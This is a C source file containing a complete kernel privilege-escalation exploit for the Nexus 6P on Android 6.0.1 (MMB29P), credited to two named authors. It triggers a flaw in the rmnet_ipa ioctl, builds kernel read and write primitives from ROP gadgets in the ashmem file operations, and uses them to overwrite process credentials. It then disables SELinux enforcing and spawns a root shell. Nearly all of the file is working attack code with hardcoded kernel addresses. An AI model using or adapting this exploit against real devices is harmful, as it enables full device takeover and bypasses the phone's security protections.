/*
 * Just for nexus6p MMB29P, if you want to run it on other version, some symbols address should be changed
 *
 * Test On:
 * shell@angler:/ $ getprop ro.build.fingerprint
 * google/angler/angler:6.0.1/MMB29P/2473553:user/release-keys
 *
 * Written by : 
 * Jianqiang Zhao(zhaojianqiang1@gmail.com)  
 * Gengjia Chen(chengjia4574@gmail.com) 
 * 
 * 2016-01-07
*/

#include <sys/types.h>  
#include <sys/ioctl.h>  
#include <sys/socket.h>  
#include <net/if.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <string.h>  
#include <fcntl.h>  
#include <sys/prctl.h>  
#include <linux/aio_abi.h>	/* for AIO types and constants */
#include <sys/syscall.h>	/* for __NR_* definitions */
#include <string.h>  
#include <errno.h>
#include <netinet/in.h>
#include <net/if_arp.h>
#include <linux/wireless.h>
#include "msm_rmnet.h"
#include "ipa_qmi_service_v01.h"
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <sys/system_properties.h>
#include <android/log.h>
#include <sys/mman.h>
#include <sys/stat.h>

#define RET_CHECK(x) \
                if((x) < 0) \
                        return -1;

#define NEW_PROC_NAME		"mypexploit"
#define KERNEL_BASE		0xffffffc000000000

static int afd;
static aio_context_t ctxx;
static int rmnet_index = -113440;

/*
 * rop for read:
 * ffffffc00034e3ec:       f9401c00        ldr     x0, [x0,#56]
 * ffffffc00034e3f0:       f9402400        ldr     x0, [x0,#72]
 * ffffffc00034e3f4:       d65f03c0        ret
*/
static unsigned long rop_read		= 0xffffffc00034e3ec;

/*
 * rop for write 0:
 * ffffffc000296238:       f9401800        ldr     x0, [x0,#48]
 * ffffffc00029623c:       f9002801        str     x1, [x0,#80]
 * ffffffc000296240:       d65f03c0        ret
*/
static unsigned long rop_write		= 0xffffffc000296238;

/*
 * rop for write addr_limit to a larger value:
 * ffffffc0002b3008:       f9401c02        ldr     x2, [x0,#56]                                          
 * ffffffc0002b300c:       f9401801        ldr     x1, [x0,#48]                                          
 * ffffffc0002b3010:       f9000041        str     x1, [x2]                                              
 * ffffffc0002b3014:       b4000041        cbz     x1, 0xffffffc0002b301c                                
 * ffffffc0002b3018:       f9000422        str     x2, [x1,#8]                                           
 * ffffffc0002b301c:       d2804001        mov     x1, #0x200                      // #512               
 * ffffffc0002b3020:       f2a00401        movk    x1, #0x20, lsl #16                                    
 * ffffffc0002b3024:       f2fbd5a1        movk    x1, #0xdead, lsl #48                                  
 * ffffffc0002b3028:       f9001c01        str     x1, [x0,#56]                                          
 * ffffffc0002b302c:       d65f03c0        ret                                                           
*/
static unsigned long rop_write_al	= 0xffffffc0002b3008;

static unsigned long ashmem_fops	= 0xffffffc0017f5ac0;
static unsigned long rmnet_index_addr	= 0xffffffc001afd3b8;
static unsigned long selinux_enforcing	= 0xffffffc0019e211c;
static unsigned long kernel_listen	= 0xffffffc000ac2528;
static unsigned long init_task 		= 0xffffffc0017821a0;
static unsigned long my_task = 0;
static unsigned int task_offset = 680, comm_offset = 1248, cred_offset = 1240;

static unsigned long aio_write_kernel_zero_64(unsigned long addr);
static unsigned long aio_write_kernel_addr_limit(unsigned long addr, unsigned long val);
static int aio_read_kernel_int(unsigned long addr, unsigned int *val4);
static int aio_read_kernel(unsigned long address, unsigned long *value);

static int write_value_at_address(unsigned long address, int value) {
	char data[4];
	int pfd[2];
	int i;

	*(int *)&data = value;

	if (pipe(pfd) == -1) 
		return -1;

	for (i = 0; i < sizeof (data); i++) {
		sleep(0.3);

		char buf[256];

		buf[0] = 0;

		// Here we trigger the vulnerable put_user() function to write in the kernel space
		// Write n bytes in the writing side of the pipe where n is the 1-byte value we want to write
		if (data[i]) {
			if (write(pfd[1], buf, data[i]) != data[i]) {
				printf("error in write().\n");
				return -1;
			}
		}

		// Now ask to the kernel to write in a location how many byte are pending for reading. 
		// Here we trigger the vuln because no check is performed on the destination address.
		if (ioctl(pfd[0], FIONREAD, (void *)(address + i)) == -1) {
			perror("ioctl");
			return -1;
		}

		// Empty the pipe and go on.
		if (data[i]) {
			if (read(pfd[0], buf, sizeof buf) != data[i]) {
				printf("error in read(%d - %s) %d.\n", errno, strerror(errno), i);
				return -1;
			}
		}
	}

	close(pfd[0]);
	close(pfd[1]);

	// Check if we were able to write the value
	return i == sizeof(data);
}

static long ptrace_write_value_at_address(unsigned long address, unsigned long value)
{
	pid_t pid;
	long ret = 0;
	int status;
	int bChiled;

	bChiled = 0;
	pid = fork();
	if (pid < 0) {
		printf("write kernel fork fail (%d - %s)\n", errno, strerror(errno));
		return -1;
	}
	if (pid == 0) {
		ret = ptrace(PTRACE_TRACEME, 0, 0, 0);
		if (ret < 0) {
			printf("PTRACE_TRACEME failed\n");
		}
		bChiled = 1;
		signal(SIGSTOP, SIG_IGN);
		kill(getpid(), SIGSTOP);
		exit(EXIT_SUCCESS);
	}

	do {
		ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &bChiled, &bChiled);
	} while (!bChiled);

	ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &value, (void *)address);
	if (ret < 0) {
		printf("PTRACE_PEEKDATA failed: %s\n", strerror(errno));
	}

	kill(pid, SIGKILL);
	waitpid(pid, &status, WNOHANG);
	return ret;
}

static long write_kernel(unsigned long address, unsigned long value)
{
	return ptrace_write_value_at_address(address, value);
}

static int write_kernel_int(unsigned long address, int value)
{
	return write_value_at_address(address, value);
}

static int read_kernel(unsigned long address, unsigned long *value)
{
	return aio_read_kernel(address, value);
}

static int read_kernel_int(unsigned long address, unsigned int *value)
{
	return aio_read_kernel_int(address, value);
}

/* search self process from init_task*/
static int get_task_by_comm(unsigned long *task)
{
	unsigned int comm0, comm1, comm2;
	unsigned long task_list, init_task_list, addr;
	int i, ret = 0;
	char task_name[50] = {0};

	task_list = (init_task + task_offset);
	init_task_list = task_list;
	for(i=0; i<1000; i++) {
		addr = task_list + 8;
		ret = read_kernel(addr, &task_list);
		
		if(task_list == init_task_list) {
			printf("search task list end, can't get task\n");
			return -1;
		}

		addr = task_list - task_offset + comm_offset;
		ret = read_kernel_int(addr, &comm0);

		addr = task_list - task_offset + comm_offset + 4;
		ret = read_kernel_int(addr, &comm1);

		addr = task_list - task_offset + comm_offset + 4 * 2;
		ret = read_kernel_int(addr, &comm2);

		memcpy(task_name, &comm0, 4);
		memcpy(task_name + 4, &comm1, 4);
		memcpy(task_name + 8, &comm2, 4);
		if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) {
			*task = task_list - task_offset;
			break;
		}
	}
	
	return 0;
}

static int get_root(void)
{
	int ret;
	unsigned long thread_info = 0, addr_limit = 0, thread_info_reb_fn = 0, thread_info_reb_fn_addr;
	unsigned long i, j, cred;
	unsigned long addr, tmpl0;
	unsigned int tmp0;

	/* search myself */
	ret = get_task_by_comm(&my_task);
	if(ret != 0) {
		printf("[-] get myself fail!\n");
		return -1;
	}

	if(!my_task || (my_task < 0xffffffc000000000)) {
		printf("invalid task address!");
		return -2;
	}

	ret = read_kernel(my_task + 8, &thread_info);
	RET_CHECK(ret);

	ret = read_kernel(thread_info + 8 * 4, &thread_info_reb_fn);
	RET_CHECK(ret);

	thread_info_reb_fn_addr = thread_info + 8 * 4;
	aio_write_kernel_addr_limit(thread_info + 8, thread_info_reb_fn_addr - 8);

	write_kernel(thread_info + 8, 0xffffffffffffffff);

	ret = read_kernel(my_task + cred_offset, &cred);
	RET_CHECK(ret);
	if (cred < KERNEL_BASE) return -3;

	i = 1;
	addr = cred + 4 * 4;
	ret = read_kernel_int(addr, &tmp0);
	RET_CHECK(ret);
	if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
		i += 4;
	
	addr = cred + (i+0) * 8;
	ret = aio_write_kernel_zero_64(addr);
	RET_CHECK(ret);
	addr = cred + (i+1) * 8;
	ret = aio_write_kernel_zero_64(addr);
	RET_CHECK(ret);
	addr = cred + (i+2) * 8;
	ret = aio_write_kernel_zero_64(addr);
	RET_CHECK(ret);
	addr = cred + (i+3) * 8;
	ret = aio_write_kernel_zero_64(addr);
	RET_CHECK(ret);

	addr = cred + (i+9) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+10) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+11) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+12) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+13) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+14) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+15) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	addr = cred + (i+16) * 4;
	ret = write_kernel_int(addr, 0xffffffff);
	RET_CHECK(ret);
	/* success! */

	ret = write_kernel_int(selinux_enforcing, 0);
	RET_CHECK(ret);

	return 0;
}

inline int io_setup(unsigned nr, aio_context_t *ctxp)
{
	return syscall(__NR_io_setup, nr, ctxp);
}

inline int io_destroy(aio_context_t ctx) 
{
	return syscall(__NR_io_destroy, ctx);
}

inline int io_submit(aio_context_t ctx, long nr,  struct iocb **iocbpp) 
{
	return syscall(__NR_io_submit, ctx, nr, iocbpp);
}

inline int io_getevents(aio_context_t ctx, long min_nr, long max_nr,
		struct io_event *events, struct timespec *timeout)
{
	return syscall(__NR_io_getevents, ctx, min_nr, max_nr, events, timeout);
}

static int aio_trigger_fsync_init(void)
{
	int ret = 0;

	afd = open("/dev/ashmem", O_RDONLY);
	if (afd == -1) {
		printf("[-] open ptmx fail(%s)!\n", strerror(errno));
		return -1;
	}

	memset(&ctxx, 0, sizeof(ctxx));
	ret = io_setup(128, &ctxx);
	if (ret != 0) {
		perror("io_setup error");
		close(afd);
		return -1;
	}

	return 0;
}

static void aio_trigger_release(void)
{
	int ret;

	ret = io_destroy(ctxx);
	if (ret < 0) {
		perror("io_destroy error");
	}
	close(afd);
}

static unsigned long aio_write_kernel_addr_limit(unsigned long addr, unsigned long val)
{
	struct iocb cb[3];
	struct iocb *cbs[1];
	uint64_t data[1024];;
	int ret, i;
	struct io_event event;

	/* setup I/O control block */
	memset(cb, 0, sizeof(struct iocb)*3);
	cb[0].aio_fildes = afd;
	cb[0].aio_lio_opcode = IOCB_CMD_FSYNC;
	cb[0].aio_buf = (uint64_t)&data[0];
	cb[0].aio_nbytes = 4;
	cb[0].aio_data = (unsigned long)val;
	cb[0].aio_offset = (unsigned long)addr;
	cbs[0] = &cb[0];

	for(i=0; i<8; i++) {
		((char *)cb)[88+i] = ((unsigned long)rop_write_al >> (i*8)) & 0xff;
	}
	ret = io_submit(ctxx, (unsigned int)1, (struct iocb **)cbs);
	if (ret != 1) {
		if (ret < 0)
			perror("io_submit error");
		else
			perror("could not sumbit IOs");
	}

	memset(&event, 0, sizeof(struct io_event));
	io_getevents(ctxx, 1, 1, &event, NULL);

	return 0;
}

static unsigned long aio_write_kernel_zero_64(unsigned long addr)
{
	struct iocb cb[3];
	struct iocb *cbs[1];
	uint64_t data[1024];;
	int ret, i;
	struct io_event event;

	/* setup I/O control block */
	memset(cb, 0, sizeof(struct iocb)*3);
	cb[0].aio_fildes = afd;
	cb[0].aio_lio_opcode = IOCB_CMD_FSYNC;
	cb[0].aio_buf = (uint64_t)&data[0];
	cb[0].aio_nbytes = 4;
	cb[0].aio_data = (unsigned long)addr - 0x50;
	cbs[0] = &cb[0];

	for(i=0; i<8; i++) {
		((char *)cb)[88+i] = ((unsigned long)rop_write >> (i*8)) & 0xff;
	}
	ret = io_submit(ctxx, (unsigned int)1, (struct iocb **)cbs);
	if (ret != 1) {
		if (ret < 0)
			perror("io_submit error");
		else
			perror("could not sumbit IOs");
	}

	memset(&event, 0, sizeof(struct io_event));
	io_getevents(ctxx, 1, 1, &event, NULL);

	return 0;
}

static int aio_read_kernel_int(unsigned long addr, unsigned int *val4)
{
	struct iocb cb[3];
	struct iocb *cbs[1];
	uint64_t data[1024];;
	int ret, i;
	struct io_event event;

	/* setup I/O control block */
	memset(cb, 0, sizeof(struct iocb)*3);
	cb[0].aio_fildes = afd;
	cb[0].aio_lio_opcode = IOCB_CMD_FSYNC;
	cb[0].aio_buf = (uint64_t)&data[0];
	cb[0].aio_offset = (unsigned long)addr - 0x48;
	cb[0].aio_nbytes = 4;
	cbs[0] = &cb[0];

	for(i=0; i<8; i++) {
		((char *)cb)[88+i] = ((unsigned long)rop_read >> (i*8)) & 0xff;
	}
	ret = io_submit(ctxx, (unsigned int)1, (struct iocb **)cbs);
	if (ret != 1) {
		if (ret < 0)
			perror("io_submit error");
		else
			perror("could not sumbit IOs");
	}

	memset(&event, 0, sizeof(struct io_event));
	ret = io_getevents(ctxx, 1, 1, &event, NULL);
	*val4 = (unsigned int)(event.res & 0xffffffff);

	return 0;
}

static int aio_read_kernel(unsigned long address, unsigned long *value)
{
	unsigned int val0, val1;

	aio_read_kernel_int(address, &val0);
	aio_read_kernel_int(address + 4, &val1);
	*value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000);
}

static int wwan_ioctl(int sfd, char* ifname, int freq)
{
	struct ifreq ifr;
	int ret;
	unsigned int cmd = RMNET_IOCTL_EXTENDED;
	strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
	struct rmnet_ioctl_extended_s extendata;
	int i;

	ifr.ifr_ifru.ifru_data = &extendata;
	extendata.extended_ioctl =  RMNET_IOCTL_ADD_MUX_CHANNEL;
	extendata.u.rmnet_mux_val.mux_id = rand();
	memset(extendata.u.rmnet_mux_val.vchannel_name, 0, IFNAMSIZ);
	if (ioctl(sfd, cmd, &ifr) < 0) {
		printf("%s, %s\n",__func__, strerror(errno));
		ret = -1;
	}

	extendata.u.rmnet_mux_val.mux_id = rand();
	if (ioctl(sfd, cmd, &ifr) < 0) {
		printf("%s, %s\n",__func__, strerror(errno));
		ret = -1;
	}

	extendata.u.rmnet_mux_val.mux_id = rmnet_index;
	memset(extendata.u.rmnet_mux_val.vchannel_name, 0, IFNAMSIZ);
	if (ioctl(sfd, cmd, &ifr) < 0) {
		printf("%s, %s\n",__func__, strerror(errno));
		ret = -1;
	}
	
	extendata.u.rmnet_mux_val.mux_id = rand();
	memset(extendata.u.rmnet_mux_val.vchannel_name, 0, IFNAMSIZ);
	for(i=0; i< 8; i++) {
		extendata.u.rmnet_mux_val.vchannel_name[i] = ((unsigned long)kernel_listen >> (i*8)) & 0xff;
	}

	if (ioctl(sfd, cmd, &ifr) < 0) {
		printf("%s, %s\n",__func__, strerror(errno));
		ret = -1;
	}

	printf("[+] trigger ...\n");

	aio_trigger_fsync_init();
	aio_write_kernel_zero_64(ashmem_fops + 14 * 8); // set ashmem_fops release to 0, to avoid it is called

	return 0;
}

void restore(void)
{
	// restore rmnet_index
	write_kernel_int(rmnet_index_addr, 8);
	// restore ashmem release
	write_kernel_int(ashmem_fops + 14 * 8, 0x0094831c);
	write_kernel_int(ashmem_fops + 14 * 8 + 4, 0xffffffc0);
	// restore ashmem fsync
	write_kernel_int(ashmem_fops + 15 * 8, 0);
	write_kernel_int(ashmem_fops + 15 * 8 + 4, 0);
	// restore ashmem aio_fsync
	write_kernel_int(ashmem_fops + 16 * 8, 0);
	write_kernel_int(ashmem_fops + 16 * 8 + 4, 0);
	// restore ashmem lock
	write_kernel_int(ashmem_fops + 17 * 8, 0);
	write_kernel_int(ashmem_fops + 17 * 8 + 4, 0);
}

int main(void)
{
	int i = 0;
	int sockfd;
	char* ifname = "rmnet_ipa0";
	int ret;
	
	srand(time(NULL));

        prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0);

	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0))<0)
	{
		printf("socket = %d, %s\n",sockfd,strerror(errno));
		exit(1);
	}

	wwan_ioctl(sockfd, ifname, 0);

	get_root();
	aio_trigger_release();
	restore();

        printf("[+] to get root ...\n");
        if (!setresuid(0, 0, 0)) {
                setresgid(0, 0, 0);
                printf("\n[+] Got it :)\n");
                printf("[+] uid=%d gid=%d\n", getuid(), getgid());
                sleep(1);
                ret = execl("/system/bin/sh", "/system/bin/sh", NULL);
                if( ret ) {
                          printf("execl failed, errno %d\n", errno);
                }
        }
	return 0;
}

